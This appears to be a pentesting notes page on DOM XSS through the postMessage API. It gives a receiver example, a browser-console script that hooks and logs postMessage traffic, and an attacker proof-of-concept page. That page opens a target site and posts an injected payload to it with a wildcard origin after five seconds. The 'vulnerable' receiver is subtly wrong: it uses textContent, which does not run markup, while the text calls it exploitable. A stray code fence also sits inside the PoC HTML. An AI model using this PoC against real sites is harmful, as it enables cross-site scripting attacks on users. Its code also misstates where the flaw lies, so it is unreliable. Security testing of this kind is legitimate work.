DOM-XSS via postMessage API

Vulnerable Receiver Example

Listens for messages with addEventListener('message')
Updates the paragraph content with the message without sanitization

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Receiver</title>
</head>
<body>
    <p>Message will appear here</p>
    <script>
        // Listen for incoming messages
        window.addEventListener('message', (event) => {
            // Validate the source and process data
            document.querySelector('p').textContent = event.data;
        });
    </script>
</body>
</html>

Messages identification

Hook messages in your web application copying the following JS code in your Browser console:

(function () {
const LOG = (tag, color, data) =>
    console.log(`%c${tag}`, `background:#101;color:${color}`, data);

const hooked = new WeakSet();

function hookWindow(win, label) {
    if (!win || hooked.has(win)) return;
    hooked.add(win);

    try {
    const orig = win.postMessage;
    win.postMessage = function (data, targetOrigin, transfer) {
        LOG('postMessage OUT [' + label + ']', '#00CC00', {
        data,
        targetOrigin
        });
        return orig.apply(this, arguments);
    };
    } catch {}

    try {
    win.document.querySelectorAll('iframe').forEach(f => {
        try { hookWindow(f.contentWindow, 'iframe'); } catch {}
    });
    } catch {}

    try {
    new MutationObserver(m => {
        m.forEach(r =>
        r.addedNodes.forEach(n => {
            if (n.tagName === 'IFRAME') {
            try { hookWindow(n.contentWindow, 'iframe'); } catch {}
            }
        })
        );
    }).observe(win.document, { childList: true, subtree: true });
    } catch {}
}

// INCOMING
window.addEventListener('message', e => {
    LOG('postMessage IN', '#FFD700', {
    from: e.origin,
    data: e.data
    });
});

hookWindow(window, 'top');

LOG('postMessage hook', '#1CE', 'enabled');
})();

Analyze the postMessage IN messages identified by the previous Javascript code to understand which data are processed by the Web page listener

Exploitation

Create the attacker web page with the XSS in the message of sent using the postMessage function. To do it, open the target URL and perform postMessage with 5 seconds delay, to be sure that the web application loads completely and starts all the workers

<html>
    <head>
        <title>PoC</title>
    </head>
    <body>
        <script>
            function poc(){
                var win = window.open('https://target.com/path');

                var msg = <injected_DOM_XSS>

                setTimeout(function(){
                win.postMessage(JSON.stringify(msg), '*');
                }, 5000);
            }
        </script>
        
        <a href="#" onclick="poc();">Test PoC</a>```
    </body>
</html>

The user visits the attacker web page and the target site will be opened by the script, allowing the execution of the DOM XSS

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Last updated 10 days ago

hashtagVulnerable Receiver Example

hashtagMessages identification

hashtagExploitation

Vulnerable Receiver Example

Messages identification

Exploitation